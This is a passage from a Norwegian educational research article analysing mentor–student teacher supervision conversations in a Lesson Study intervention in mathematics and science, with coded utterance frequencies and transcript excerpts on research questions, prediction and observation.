\u00e5tte ukers undervisningsperiode innen kjemi, geofag og teknologi p\u00e5 campus. I denne undervisningsbolken hadde studentene ogs\u00e5 f\u00e5tt innf\u00f8ring i Lesson Study der det ble vist eksempler p\u00e5 gjennomf\u00f8ring av en Lesson Study syklus. Fagl\u00e6rer p\u00e5 campus hadde ogs\u00e5 gitt studentene en presentasjon av et skjema (CoRe-Content Representation, for en grundigere beskrivelse, se Loughran, Berry, & Mulhall, 2012). I et slikt CoRe-skjema skal studentene blant annet svare p\u00e5 hva de \u00f8nsker at elevene skal l\u00e6re om med tanke p\u00e5 en eller flere naturfaglige ideer eller begreper, og hvorfor det er viktig at elevene l\u00e6rer dette. Videre skal studentene reflektere over mulige begrensninger relatert til \u00e5 undervise disse ideene, og hvilke l\u00e6ringsaktiviteter som kan v\u00e6re nyttige \u00e5 bruke med tanke p\u00e5 at elevene skal l\u00e6re om de naturfaglige ideene eller begrepene. De fire praksisl\u00e6rerne som inng\u00e5r i studien hadde alle deltatt p\u00e5 tre samlinger sammen med fagl\u00e6rere p\u00e5 universitetet i forkant av praksisoppl\u00e6ringsperioden v\u00e5ren P\u00e5 den f\u00f8rste samlingen ble det orientert om TasS prosjektet og gitt en innf\u00f8ring i Lesson Study som arbeidsm\u00e5te. Den andre samlingen hadde fokus p\u00e5 \u00e5 tilpasse denne arbeidsm\u00e5ten til l\u00e6rerstudenters praksisoppl\u00e6ring. B\u00e5de p\u00e5 denne samlingen og p\u00e5 den tredje samlingen arbeidet praksisl\u00e6rere og fagl\u00e6rere med \u00e5 utvikle selve framgangsm\u00e5ten som vi ville bruke i intervensjonen. R. Bjuland, N. Helgevold & E. Munthe 6/ adno.no\n\n.\")\n\n7 Intervensjonsdesignet fra planlegging til f\u00f8rveiledning Som nevnt ovenfor, er Lesson Study en m\u00e5te \u00e5 bidra til systematisk utforsking og l\u00e6ring for l\u00e6rere. \u00c5 kunne predikere elevreaksjoner er en vesentlig del av planleggingsfasen. Dette kan inneb\u00e6re \u00e5 hente inn forskningslitteratur om elevers l\u00e6ring eller misforst\u00e5elser, og det kan inneb\u00e6re \u00e5 bruke egen erfaring. L\u00e6rerstudenter har liten erfaring \u00e5 basere prediksjoner p\u00e5, og det ble derfor bestemt at l\u00e6rerstudentene p\u00e5 forh\u00e5nd skulle intervjue praksisl\u00e6rere om elevers l\u00e6ring, om hvilke forkunnskaper elevene allerede hadde om det temaet som l\u00e6rerstudentene skulle undervise om. Selve temaet som studentene skulle undervise om, m\u00e5tte derfor v\u00e6re bestemt p\u00e5 forh\u00e5nd. P\u00e5 den m\u00e5ten kunne ogs\u00e5 fagl\u00e6rere bidra med forskningslitteratur som studentene kunne ha bruk for. Studentene skulle s\u00e5 utarbeide en detaljert plan for selve forskningstimen uten \u00e5 vite hvem som skulle v\u00e6re ansvarlig for selve undervisningen. De m\u00e5tte planlegge slik at hvem som helst av dem kunne ta den rollen. Planleggingen skulle inneb\u00e6re at de vurderte aktuelt l\u00e6ringsmateriell, og de skulle s\u00f8ke kunnskap om det faglige emnet i l\u00e6reb\u00f8ker eller andre undervisnings- og forskningsressurser. Undervisningen skulle ivareta overordnede m\u00e5l for elevenes l\u00e6ring, og studentene fikk et eksempel p\u00e5 et plandokument som de kunne anvende i arbeidet. I plandokumentet kunne studentene f\u00f8re opp det forskningssp\u00f8rsm\u00e5let som de hadde for timen, hva de predikerte om elevenes reaksjoner til ulike tider i undervisningen, og hva som ville v\u00e6re viktig \u00e5 observere. Studentene fikk f\u00f8rst vite hvem som skulle undervise selve forskningstimen p\u00e5 slutten av f\u00f8rveiledningssamtalene. Dette ble avgjort ved loddtrekning. De andre studentene hadde ansvar for observasjoner under gjennomf\u00f8ringen. Det er vanlig at Lesson Study gjennomf\u00f8res slik i eksisterende l\u00e6rerteam. Det er konsekvensene av de valgene som alle har v\u00e6rt med p\u00e5 \u00e5 ta som skal v\u00e6re i fokus i observasjonene, ikke l\u00e6reren (Munthe & Postholm, 2012; Munthe, Baugst\u00f8 & Haldorsen, 2013). Det er derfor spesielt viktig at alle har et eierforhold til undervisningen som gjennomf\u00f8res. Praksisl\u00e6rerne og studentene hadde f\u00e5tt et hefte om Lesson Study i forkant. I dette heftet fikk l\u00e6rerne noen tips til hvordan de kunne gjennomf\u00f8re f\u00f8rveiledningssamtalen, for eksempel type sp\u00f8rsm\u00e5l som det ville v\u00e6re viktig \u00e5 arbeide med for \u00e5 f\u00e5 fram forskningssp\u00f8rsm\u00e5l, prediksjon og observasjon p\u00e5 m\u00e5ter som kunne hjelpe studentene til \u00e5 reflektere over elevers l\u00e6ring i forhold til det emnet som var tema for undervisningen. Data og analyser Materialet som inng\u00e5r i denne delstudien er videoopptak av fire f\u00f8rveiledningssamtaler i to fag. Transkripsjonene fra disse veiledningssamtalene danner utgangspunkt for v\u00e5re analyser. R. Bjuland, N. Helgevold & E. Munthe 7/ adno.no\n\n\n\n8 Studentgruppen ved skole 1 tilknyttet matematikk planla \u00e5 gjennomf\u00f8re en undervisnings\u00f8kt (studentene bruker ikke betegnelsen forskningstime) p\u00e5 10. trinn der m\u00e5let for timen er at elevene skal l\u00e6re om proporsjonalitet (y=ax) og proporsjonale st\u00f8rrelser. Studentene ved skole 2 tilknyttet matematikk planla \u00e5 gjennomf\u00f8re en undervisnings\u00f8kt p\u00e5 10. trinn (studentene bruker ikke betegnelsen forskningstime) der de i sitt plandokument skriver at m\u00e5let er at elevene skal kunne faktorisere og forkorte enkle og avanserte uttrykk. Det er verdt \u00e5 merke seg at ingen av studentgruppene i matematikk skriver noe om hva som er deres forskningssp\u00f8rsm\u00e5l. Det kommer heller ikke fram fra plandokumentene hvordan de vil observere elevene gjennom undervisnings\u00f8kten. Den ene gruppen i naturfag planla \u00e5 gjennomf\u00f8re en forskningstime p\u00e5 6. trinn (studentene bruker selv begrepet forskningstime i plandokumentet) med et tematisk fokus om begreper knyttet til energi. De har i sitt plandokument utformet to forskningssp\u00f8rsm\u00e5l som de \u00f8nsker \u00e5 l\u00e6re mer om: a) hvordan elevene oppfatter abstrakte fenomener og hvordan vi best kan legge til rette for at de skal forst\u00e5 og b) hvordan man tar tak i elevenes hverdagsforestillinger. Bli bevisste p\u00e5 dem og rette opp i misforst\u00e5elser og bygge videre p\u00e5 forestillinger de har som har noe riktig i seg. Den andre praksisgruppen i naturfag planla \u00e5 gjennomf\u00f8re en undervisnings\u00f8kt (de bruker betegnelsen en dobbeltime i plandokumentet) p\u00e5 90 minutter p\u00e5 10. trinn der m\u00e5let med undervisnings\u00f8kten er at elevene skal l\u00e6re at summen av energi er alltid den samme. Videre skal elevene l\u00e6re om sammenhengen mellom bevegelsesenergi og stillingsenergi. Denne studentgruppen har heller ikke formulert noe forskningssp\u00f8rsm\u00e5l. Analysene har identifisert ytringer som b\u00e5de er elevsentrerte og kunnskapssentrerte (E, K), eller elevsentrerte og vurderingssentrerte (E, V). I tillegg identifiserer vi ogs\u00e5 ytringer som inneholder b\u00e5de en elevsentrert, kunnskapssentrert og vurderingssentrert komponent (E, K, V). I v\u00e5re analyser har vi ikke identifisert fellesskapssentrerte ytringer siden dette perspektivet er vanskelig \u00e5 definere p\u00e5 ytringsniv\u00e5 p\u00e5 grunn av dets fokus p\u00e5 det som skjer b\u00e5de i klasserommet (mikroniv\u00e5) og utenfor klasserommet (makroniv\u00e5). Vi kan imidlertid gjennom \u00e5 presentere noen utdrag fra veiledningssamtalene f\u00e5 et inntrykk av om studentene i sin planlegging er opptatt av en utforskende og fellesskapsorientert praksis der studentene \u00f8nsker at elevene skal dr\u00f8fte og samhandle. Tabell 1 illustrerer eksempler p\u00e5 det vi har definert som ytringer. En ytring varer vanligvis s\u00e5 lenge en av deltakerne har ordet. Det kan imidlertid forekomme at en av deltakerne (s\u00e6rlig praksisl\u00e6rerne) snakker forholdsvis lenge. Vi har derfor valgt \u00e5 bryte opp en lang sammenhengende ytring i flere ytringer der det er et naturlig skifte i fokus innenfor ytringen. Det f\u00f8rste eksempelet fra tabellen (90. MP1) betyr ytring 90 fra veiledningssamtale i matematikk (M), der det er praksisl\u00e6rer (P) fra skole 1 som snakker. De tre andre praksisl\u00e6rerne blir p\u00e5 samme m\u00e5te identifisert som MP2. NP1, NP2. N\u00e5r R. Bjuland, N. Helgevold & E. Munthe 8/ adno.no\n\n\n\n9 det gjelder studentene, betyr 28. NS4 ytring 28 fra veiledningssamtale i naturfag der det er student 4 som snakker fra skole 1. Tabell 1: Eksempler p\u00e5 ytringer knyttet til begrepene fra Bransford et al. (2000) 90. Ja. For det er jo det en kan bruke dette til, for det kan v\u00e6re greit \u00e5 f\u00e5 fram i begynnelsen MP1: av timen ogs\u00e5, at m\u00e5let, eh, de (elevene) skal l\u00e6re, m\u00e5let for timen er \u00e5 l\u00e6re om 27. NP1: 28. NS4: proporsjonale st\u00f8rrelser, og vise hvordan det enkelt kan brukes i dagliglivet. Men du vil at elevene skal f\u00e5 forst\u00e5... For jeg ser tydelig igjen de m\u00e5lene dere har valgt i begynnelsen. Alts\u00e5 det dere har tenkt som et hovedm\u00e5l for timen, ser jeg tydelig igjen i forhold til de m\u00e5l i setter opp i planen. Og da har jeg rett og slett lyst til \u00e5 hoppe rett p\u00e5 vurdering... Hva hadde dere tenkt om det, for n\u00e5 har dere jo m\u00e5lene. Hvordan skal dere f\u00e5 til \u00e5 vurdere elevene ut ifra m\u00e5lene? Jeg tror vi har tenkt at den oppgaven p\u00e5 aktivitet syv, den gruppeoppgaven, der de (elevene) skal tegne eller skrive og forklare en energikjede. Og s\u00e5 velger de seg ut en overf\u00f8ring i den og forklarer det n\u00e6rmere da. Det viser ganske godt om de har forst\u00e5tt forskjellen p\u00e5 energikjede og energioverf\u00f8ring i hvert fall, mye kommer frem i den oppgaven. E, K E, V E, K, V F\u00f8rste og andre forfatter kodet de fire f\u00f8rveiledningssamtalene hver for seg for deretter \u00e5 komparere. Kodinger viste seg \u00e5 v\u00e6re sammenfallende for de to matematikkgruppene. Veiledningene i naturfag var vanskeligere \u00e5 kode siden studentene bidrog med innspill som bygde p\u00e5 hverandres ideer. Vi bestemte oss derfor for \u00e5 trekke inn den lokale konteksten som ytringen var en del av. Ytring 57 fra praksisl\u00e6rer ved skole 1 i naturfag kan illustrere dette: 57. NP1: Kan vi vurdere elevene p\u00e5 en m\u00e5te opp imot de begrepene? En av studentene har i den foreg\u00e5ende ytringen fokusert p\u00e5 bevegelsesenergi og stillingsenergi. Derfor ble vi enige om \u00e5 kode denne ytringen som E, K, V siden de begrepene m\u00e5 ses i lys av studentytringen. Resultater Tabell 2 viser hvor mange ytringer i de fire f\u00f8rveiledningssamtalene som kan identifiseres som elevsentrert, kunnskapssentrert eller vurderingssentrert. Vi leser for eksempel fra tabellen at praksisl\u00e6rer og studentene i naturfaggruppen ved skole 2 (NP2, NS5,6,7) hadde 27 ytringer med et elevsentrert, kunnskapssentrert og vurderingssentrert fokus av totalt 147 ytringer i veiledningssamtalen. Dette viser at 18,4% av ytringene er identifisert innenfor de tre analysekategoriene. Denne oversikten viser ogs\u00e5 at begge f\u00f8rveiledningssamtalene i naturfag (10,9% og 18,4%) har et st\u00f8rre samtalefokus p\u00e5 elevers l\u00e6ring av det faglige emnet sammenlignet med studentgruppene tilknyttet matematikk (5,7% og 8,3%). Disse resultatene viser at v\u00e5re analyser med Bransford et al. (2000) som teoretisk og analytisk rammeverk bekrefter tidligere analyser med tynne beskrivelser (Helgevold, N\u00e6sheim-Bj\u00f8rkvik, & \u00d8strem, 2013). R. Bjuland, N. Helgevold & E. Munthe 9/ adno.no\n\n\n\n10 Tabell 2: Resultater av ytringer knyttet til begrepene fra Bransford et al. (2000) Skole 1, Mat. Skole 2, Mat. Skole 1, Nat. Skole 2, Nat. MP1, MS1,2,3 MP2, MS4,5,6,7 NP1, NS1,2,3,4 NP2, NS5,6,7 (E, K) (E, V) (E, K, V) Relativ frekvens 13/230 16/193 41/376 27/147 Prosent 5,7% 8,3% 10,9% 18,4% Varighet 20:54 33:43 54:18 31:31 Det er viktig \u00e5 understreke at de fire veiledningssamtalene har ulik varighet noe som selvsagt m\u00e5 tas i betraktning (se tabell 2). Vi mener imidlertid at den relative frekvensen av slike ytringer gir en indikasjon p\u00e5 et elevsentrert, kunnskapssentrert og vurderingssentrert fokus i veiledningssamtalene. Denne oversikten gir et innblikk i noen karakteristikker ved samtalene, men for \u00e5 beskrive veiledningssamtalene bedre, vil vi analysere ytringer i forhold til viktige aspekter ved planlegging i en Lesson Study syklus, nemlig utvikling av forskningssp\u00f8rsm\u00e5l, prediksjon og planlegging av observasjon. Forskningssp\u00f8rsm\u00e5l og observasjoner Det er bare i den ene naturfaggruppen at studentene har eksplisitt skrevet ned forskningssp\u00f8rsm\u00e5l i plandokumentet de har med seg til f\u00f8rveiledningen. I den andre naturfaggruppen diskuteres m\u00e5let for timen, og studentene sammen med praksisl\u00e6rer kommer frem til at m\u00e5let for elevenes l\u00e6ring er \u00e5 kunne forst\u00e5 og skille mellom bevegelsesenergi og stillingsenergi. I begge naturfaggruppene vektlegges observasjoner i f\u00f8rveiledningen, og studentene utfordres av praksisl\u00e6rerne til \u00e5 v\u00e6re spesifikke p\u00e5 hvordan de har tenkt \u00e5 observere og vurdere elevene ut i fra l\u00e6ringsm\u00e5lene for forskningstimen. En sekvens fra samtalen i praksisgruppen ved skole 1 illustrerer dette: 27. NP1: Men du vil at elevene skal f\u00e5 forst\u00e5. (.) For jeg ser tydelig igjen de m\u00e5lene dere har valgt i begynnelsen. Alts\u00e5 det dere har tenkt som et hovedm\u00e5l for timen, ser jeg tydelig igjen i forhold til de m\u00e5l dere setter opp i planen. Og da har jeg rett og slett lyst til \u00e5 hoppe rett p\u00e5 vurdering. Hva hadde dere tenkt om det, for n\u00e5 har dere jo m\u00e5lene. Hvordan skal dere f\u00e5 til \u00e5 vurdere elevene ut ifra m\u00e5lene? (E, V) 28. NS4: Jeg tror vi har tenkt at den oppgaven p\u00e5 aktivitet syv, den gruppeoppgaven, der de skal tegne eller skrive og forklare en energikjede. Og s\u00e5 velger de seg ut en overf\u00f8ring i den og forklarer det n\u00e6rmere da. Det viser ganske godt om de har forst\u00e5tt forskjellen p\u00e5 energikjede og energioverf\u00f8ring i hvert fall, mye kommer frem i den oppgaven. (E, K, V) 29.NS3: H\u00e5per vi. 30. NP1: Ja. (.) Fordi at jeg ser at hvis. Hvis vi g\u00e5r p\u00e5 Newtons vugge, i planen, aktivitet to. Og s\u00e5 st\u00e5r det m\u00e5l: vekke undring og l\u00e6re om hypoteser og en energioverf\u00f8ring, ikke sant. Og s\u00e5 st\u00e5r der noe om observere, alts\u00e5 vurdering, observere, se, h\u00f8rer. Og s\u00e5 tenker jeg, alts\u00e5 hva legger dere i de (.) Alts\u00e5 hva tenker dere om vurdering n\u00e5r dere skriver det, s\u00e5nn der? (E, K, V) R. Bjuland, N. Helgevold & E. Munthe 10/ adno.no\n\n\n\n11 31. NS2: Vi har jo tenkt litt p\u00e5 de tre som faktisk g\u00e5r rundt og observerer.(.) og at de f\u00e5r med seg ganske mye. 32. NP1: Og hva skal de observere da? 33. NS1: Det har vi laget i et eget skjema. Praksisl\u00e6rer g\u00e5r her konkret inn i plandokumentet og utfordrer studentene til \u00e5 forklare hvordan de skal observere og vurdere elevenes m\u00e5loppn\u00e5else (27), (30). I denne gruppen hadde studentene utviklet et eget observasjonsskjema knyttet spesifikt til l\u00e6ringsm\u00e5lene som var satt opp og elevenes konkrete arbeid med l\u00e6ringsaktiviteter i klasserommet. I den andre naturfaggruppen har ikke studentene utviklet et eget observasjonsskjema, men praksisl\u00e6rer er tydelig p\u00e5 at studentene m\u00e5 planlegge observasjoner f\u00f8r timen, 123. NP2: Det dere, det dere ogs\u00e5 m\u00e5 tenke p\u00e5 er hva slags observasjoner skal dere ta i de timene, ikke sant vel alts\u00e5 hva er det dere skal se etter?... I matematikkgruppene diskuteres tema, aktiviteter og oppgaver som skal gj\u00f8res i forskningstimen, uten at l\u00e6ringsm\u00e5l for forskningstimen presiseres. I den ene studentgruppen kommer hverken praksisl\u00e6rer eller studenter inn p\u00e5 observasjoner i klasserommet som en m\u00e5te \u00e5 innhente informasjon om elevenes l\u00e6ring p\u00e5. I stedet omhandler sv\u00e6rt mange av ytringene utsagn om elevers faglige niv\u00e5 og elevers atferd slik som ytring 31. MS3: Vi sier at de som f\u00f8ler at de har forst\u00e5tt dette og forst\u00e5r hva det er, de kan begynne p\u00e5 oppgave fire. P\u00e5 samme m\u00e5te framhever praksisl\u00e6rer at det er stor niv\u00e5forskjell blant elevene, noe som f\u00f8lgende ytring illustrerer: 51. MP1: Det s\u00e5 dere jo n\u00e5r vi var inne (stor niv\u00e5forskjell), noen tar det s\u00e5nn (knipser), mens andre trenger mye mer tid og mye mer forklaring. I den andre matematikkgruppen n\u00e5r samtalen kommer inn p\u00e5 observasjoner i timen, blir det tydelig at studentene ikke ser sammenhengen mellom forskningssp\u00f8rsm\u00e5l, aktiviteter i timen og observasjoner 80. MS5: Det blir litt annerledes enn hva vi har hatt f\u00f8r, n\u00e5 blir det jo s\u00e5 \u00e5 si en som har hele timen, de andre sitter som passive tilskuere, eh, s\u00e5 hvordan det g\u00e5r blir jo litt spennende og se 137. MS5: Vi har jo snakket om det meste, det vanskeligste for oss, som blir veldig annerledes for denne timen, er jo det at det skal sitte tre stykker og helst ikke blande seg inn 138. MP2: Mhm 139. MS5: Og hvis jeg blir satt til observasjon, s\u00e5 tror jeg det blir vanskelig for min del hvis jeg ser at det sitter tre stykker og rekker opp h\u00e5nden og jeg ikke bare kan reise meg opp og g\u00e5 bort og faktisk gj\u00f8r det jeg skal, og heller gj\u00f8re det jeg skal gj\u00f8re I den tematiske sekvensen fra samtalen som er vist over, kan det tyde p\u00e5 at denne studenten ikke har helt klart for seg hvordan observasjon skal brukes for \u00e5 skaffe denne informasjonen om elevenes forst\u00e5else for det faglige m\u00e5let. Hun uttrykker at de tre studentene som ikke skal undervise sitter som passive tilskuere (80). Vi legger merke til at hun ogs\u00e5 gjentar dette i to ytringer litt senere i samtalen som vi har valgt \u00e5 knytte til den tematiske sekvensen om R. Bjuland, N. Helgevold & E. Munthe 11/ adno.no\n\n\n\n12 observasjon (137), (139). Disse ytringene indikerer en begrensning med tanke p\u00e5 \u00e5 samle inn informasjon om elevenes l\u00e6ring. De tre andre studentene er forholdsvis passive under veiledningssamtalen og det kommer ikke fram andre aspekter knyttet til gjennomf\u00f8ringen av observasjon i timen. Prediksjon forventninger til elevenes forst\u00e5else I naturfaggruppene har ogs\u00e5 prediksjon av elevers forst\u00e5else en sentral plass i veiledningssamtalene. Dette er illustrert med f\u00f8lgende sekvens fra samtalen under: 99. NP1: Men hvorfor med den her gni hendene, hva forventer du at de s\u00e5 skal.(.) hva forventer du av elevene skal si om energioverf\u00f8ring? (E, K) 100. NS4: N\u00e5r de har. Alts\u00e5 vi skal jo repetere de typene av energi i begynnelsen. Det tror jeg at vi skrev. Som vi hadde om p\u00e5 slutten av sist naturfagstime, s\u00e5 jeg tror at, i hvert fall med hjelp, at ungene kan se hva slags type energi, du m\u00e5 kanskje sp\u00f8r ogs\u00e5, men jeg tror de klarer \u00e5 forst\u00e5 bevegelsesenergi. Og hvis de sier at det blir varmt, hva slags type energi tror dere det er. Det er jo n\u00f8dt til \u00e5 v\u00e6re varmeenergi. Jeg tror at de klarer det p\u00e5 den, at de kjenner det p\u00e5 seg selv. Og s\u00e5 h\u00f8rer de lyd, og det er jo deres bevegelse, og da er det lett \u00e5 forst\u00e5 at det er bevegelsesenergi. (E, K) 101. NS1 Meningen er jo etter denne her.(.) det her med de hendene, prosessen er jo at vi skal snakke om det felles ogs\u00e5 da, og s\u00e5 g\u00e5 gjennom disse begrepene. Slik at de tester selv, f\u00e5r lov \u00e5 tenke, og s\u00e5 etter p\u00e5 tar vi det sammen. Det er jo veldig viktig. F\u00e5 lov \u00e5 tenke selv og s\u00e5 (E, V) 102. NS3: Jeg tror egentlig at de kan mer. (.) eller det merket jeg p\u00e5 den f\u00f8rste timen. De kan ganske mye, s\u00e5 det er logisk for dem, eller akkurat det med varme, men akkurat lyd, det visste jeg ikke engang. (.) s\u00e5 det kan v\u00e6re at de reagerer, eller om de ikke tenker p\u00e5 det. (E, K) Dialogen fra denne praksisgruppen (skole 1) illustrerer at flere av studentene responderer p\u00e5 praksisl\u00e6rerens sp\u00f8rsm\u00e5l om prediksjon med tanke p\u00e5 elevers forst\u00e5else for energioverf\u00f8ring (99). Den ene studenten sier at de f\u00f8rst skal repetere ulike energityper og knytter dette til forrige undervisnings\u00f8kt. Deretter skal de fokusere p\u00e5 begrepene varmeenergi og bevegelsesenergi (100). I den neste ytringen konkretiserer NS1 dette gjennom aktiviteten gni hendene der elevene f\u00f8rst skal undre seg og tenke selv p\u00e5 hva som skjer i denne prosessen f\u00f8r studentene sammen med elevene skal diskutere hva som skjer (101). NS3 f\u00f8lger opp de to foreg\u00e5ende ytringene der hun fors\u00f8ker \u00e5 predikere hva som kan v\u00e6re vanskelig med lydenergi, men at varmeenergi er noe som trolig vil v\u00e6re enklere \u00e5 skj\u00f8nne for elevene (102). Denne refleksjonen fra NS3 er relatert til erfaringer fra en tidligere undervisnings\u00f8kt, men vi legger ogs\u00e5 merke til hennes erkjennelse om egne erfaringer: akkurat lyd, det visste jeg ikke engang (102). N\u00e5r dette kan v\u00e6re vanskelig for denne studenten, s\u00e5 kan det sannsynligvis ogs\u00e5 v\u00e6re vanskelig for elevene. I den andre praksisgruppen (skole 2) skal studentene fokusere p\u00e5 energiloven og studentene er s\u00e6rlig opptatt av \u00e5 f\u00e5 innsikt i elevenes eventuelle feil- eller vrangforestillinger om energibegrepet, og hvordan de kan kartlegge disse. R. Bjuland, N. Helgevold & E. Munthe 12/ adno.no\n\n hva forventer du av elevene skal si om energioverf\u00f8ring?\")\n\n13 23. NS5: Jeg tror det er viktig \u00e5 pr\u00f8ve \u00e5 finne ut hva slags forestilling de faktisk har og s\u00e5, ja pr\u00f8ve \u00e5 kanskje... F\u00f8rst avl\u00e6re det p\u00e5 en m\u00e5te hvis de har en helt feil forestilling, f\u00f8r vi kan begynne \u00e5 l\u00e6re dem noe nytt. (E, K) 24. NP2: Hva tid kan dere f\u00e5 vite det? 25. NS6: G\u00e5r jo an \u00e5 bruke tankekart for eksempel. (E, V) 26: NP2: Ja, fordi jeg tenker den timen som dere planlegger f\u00f8r, der har dere muligheten til \u00e5 avdekke de forestillingene som elevene har. (E, V) 27. NS7: Da har vi jo og planlagt for eksempel et annet tankekart, utarbeidet gjennom timen Her ser vi at alle tre studentene, sammen med praksisl\u00e6rers sp\u00f8rsm\u00e5l, involveres i samtalen. Ytringene kan relateres til et elev- og vurderingssentrert perspektiv hvor studentene, gjennom sin undervisning fors\u00f8ker \u00e5 l\u00e6re mer om hva elevene tenker og forst\u00e5r. If\u00f8lge Bransford et al. (2000) vil en slik m\u00e5te \u00e5 arbeide p\u00e5 hjelpe b\u00e5de elever og l\u00e6rere i \u00e5 ha innsikt i hvordan utviklingen foreg\u00e5r. Diskusjonen om elevene forestillinger i tilknytning til dette emnet holdes ved like gjennom hele samtalen. Analyser av ytringer i veiledningssamtalene i matematikk viser at studentene i liten grad predikerer hva som kan v\u00e6re vanskelig for elevene. Praksisl\u00e6rer ved skole 2 (MP2) utfordrer innledningsvis i samtalen til \u00e5 f\u00e5 de fire studentene til \u00e5 reflektere over hvordan de vil gj\u00f8re algebra konkret for elevene siden det er flere elever i klassen som opplever dette vanskelig: 26. MP2: Mhm. Eh, vil det, eh, algebra eh, i intervjuet s\u00e5 sa jo jeg at algebra er et lite konkret emne i matematikken som de \\[elevene\\] p\u00e5 en m\u00e5te ikke f\u00f8ler s\u00e5nn et veldig n\u00e6rt forhold til, og opplever som veldig vanskelig, eh, vil dere tro eh, det er jo ulike niv\u00e5er her i klassen, hvordan vil dere g\u00e5 frem for \u00e5 hente frem kunnskapen om algebra hos de aller fleste? (.) Og er det muligheter for misforst\u00e5elser og uklarheter i dette her? (E, K) 27. MS5: Det er det jo absolutt. Men det jeg tenker i hvert fall at faktorisering er et ganske konkret alts\u00e5 en konkret del av algebra. 28. MP2: Mhm 29. MP5: Det er ganske straight forward 55. MP2: Jah, eh, der hvor der kommer inn, s\u00e5nn som dette uttrykket med 8b 2-4ab, eh, vil der hvor du har b 2, og for s\u00e5 vidt og det f\u00f8rste uttrykket med 36x 2, eh, tror dere det er greie uttrykk for basiselevene? Og (E, K) 56. MS4: N\u00e5r vi hadde dette i h\u00f8st, s\u00e5 skj\u00f8nte de jo at x 2 betydde at det var x gange x. Det er antall ganger det ganges med seg selv, s\u00e5 n\u00e5r det var b 3, s\u00e5 skreiv de b tre ganger (E, K, V) 57. MP2: Mhm 58. MS5: Der er jo de oppgavene p\u00e5 det som heter basisniv\u00e5et i boken som jeg har brukt, og vi m\u00e5 nok repetere det. Praksisl\u00e6rer viser til intervjuet som studentene hadde med henne i forkant av f\u00f8rveiledningen der hun med sin elev- og kunnskapssentrerte ytring utfordrer R. Bjuland, N. Helgevold & E. Munthe 13/ adno.no\n\n 27. NS7: Da har vi jo og planlagt for eksempel et annet tankekart, utarbeidet gjennom timen Her ser vi at alle tre studentene, sammen med praksisl\u00e6rers sp\u00f8rsm\u00e5l, involveres i samtalen.\")\n\n14 studentene til \u00e5 reflektere over de individuelle forskjellene det er i denne klassen med tanke p\u00e5 \u00e5 forst\u00e5 algebra (26). Vi ser imidlertid at MS5 synes at faktorisering er en konkret del av algebra (27) og at dette er ganske straight forward (29). Litt senere i dialogen utfordrer praksisl\u00e6rer studentene til \u00e5 fokusere p\u00e5 de to f\u00f8rste algebraiske uttrykkene fra plandokumentet og reflektere over vanskelighetsgraden i de valgte eksemplene med tanke p\u00e5 basiselevene (55). MS4 viser til den forrige praksisoppl\u00e6ringsperioden og trekker fram at elevene da kunne regne med potenser (56). Dette er en ytring som har fokus b\u00e5de p\u00e5 elev, kunnskap og vurdering (E, K, V) som gir muligheter for videre faglige refleksjoner. MS5 indikerer imidlertid at hun ikke f\u00f8lger dette opp siden hun er mer opptatt av oppgavene som skal gj\u00f8res med referanse til l\u00e6reboken og dens inndeling i ulike oppgaveniv\u00e5er (58). I denne matematikkgruppen er sv\u00e6rt mange av ytringene (28 av 193 ytringer, 14,5%) i veiledningssamtalen knyttet til elevenes faglige niv\u00e5 i matematikk. Fremfor \u00e5 v\u00e6re opptatt av hvordan \u00e5 f\u00e5 innsikt i elevers ulike forst\u00e5else for algebra og hvordan dette forholder seg til hva elevene skal l\u00e6re, brukes mye av tiden til \u00e5 diskutere aktiviteter og oppgaver i forhold til elever som er p\u00e5 ulike niv\u00e5, slik som disse utsagnene under kan illustrere: 51.MS5: Eh. S\u00e5 jeg ser for meg at hvertfall de som ligger p\u00e5 middels kan klare \u00e5 v\u00e6re med p\u00e5 denne oppgaven 52 MS7: og for det om de p\u00e5 basis viser akkurat s\u00e5 mye deltakelse at de kanskje bare kan se litt og p\u00e5 en m\u00e5te h\u00f8re hvordan andre elever tenker 53 MS5: Det er greit \u00e5 f\u00e5 det med seg 54 MS7: Ja, uansett om det p\u00e5 en m\u00e5te ikke akkurat er noe m\u00e5l at vi skal, hadde basiselevene forst\u00e5tt s\u00e5 hadde det jo v\u00e6rt veldig flott. Oppsummering og dr\u00f8fting Analysen fra veiledningssamtalene i naturfag viste at studentene hadde en annen tiln\u00e6rming til forskningstimen enn studentene tilknyttet matematikk. Naturfagstudentene var opptatt av b\u00e5de \u00e5 formulere gode l\u00e6ringsm\u00e5l og forskningssp\u00f8rsm\u00e5l (i den ene gruppen). En sentral del av forskningstimen som ble planlagt i naturfag var elevenes utforsking av faglige problemstillinger i grupper, uten at niv\u00e5inndelinger som basis, middels eller h\u00f8y ble brukt. Elevenes ulike forforst\u00e5elser ble her ikke trukket inn som en begrensende faktor i planleggingen av undervisningsopplegget. Studentene hadde ogs\u00e5 fokus p\u00e5 prediksjon samt aktiv elevobservasjon under gjennomf\u00f8ringen av undervisnings\u00f8kten. Den ene samtalesekvensen fra en av naturfaggruppene illustrerer s\u00e6rlig hvordan studentene kom med ytringer som bygde p\u00e5 tidligere initiativ og som videref\u00f8rte den faglige diskusjonen knyttet til naturfaglige begreper som energi og energikjeder. Selv om det er vanskelig \u00e5 synliggj\u00f8re det fellesskapssentrerte perspektivet (Bransford et al., 2000) p\u00e5 ytringsniv\u00e5, s\u00e5 illustrerer dette at R. Bjuland, N. Helgevold & E. Munthe 14/ adno.no\n\n. MS4 viser til den forrige praksisoppl\u00e6ringsperioden og trekker fram at elevene da kunne regne med potenser (56).\")\n\n15 studentene er opptatt av en fellesskapsorientert praksis gjennom at elevene skal dr\u00f8fte og samhandle. Mens studentene i naturfag la opp til en probleml\u00f8sningsorientert tiln\u00e6rming til de faglige l\u00e6ringsm\u00e5lene for timen, valgte studentene i matematikk \u00e5 legge undervisningen opp i forhold til l\u00e6rebokens niv\u00e5inndeling av l\u00e6restoffet. L\u00e6reb\u00f8ker har tradisjonelt v\u00e6rt en sentral kulturell ressurs i undervisningen og i evalueringen av Kunnskapsl\u00f8ftet vises det til at mange l\u00e6rere opplever at de er blitt mer avhengige av l\u00e6reb\u00f8kene i undervisningen (Hodgson, R\u00f8nning & Tomlinson, 2012). I en delrapport (R\u00f8nning et al., 2008) finner forskerne at l\u00e6reverkene p\u00e5 grunnskoleniv\u00e5et fors\u00f8ker \u00e5 tilrettelegge for tilpasset oppl\u00e6ring gjennom differensiering av l\u00e6restoffet. Samtidig stilles det i rapporten kritiske sp\u00f8rsm\u00e5l ved l\u00e6reb\u00f8kenes inndeling av l\u00e6restoff med tanke p\u00e5 ulike grupper av elever. Studentenes ulike tiln\u00e6rminger kan ha sammenheng 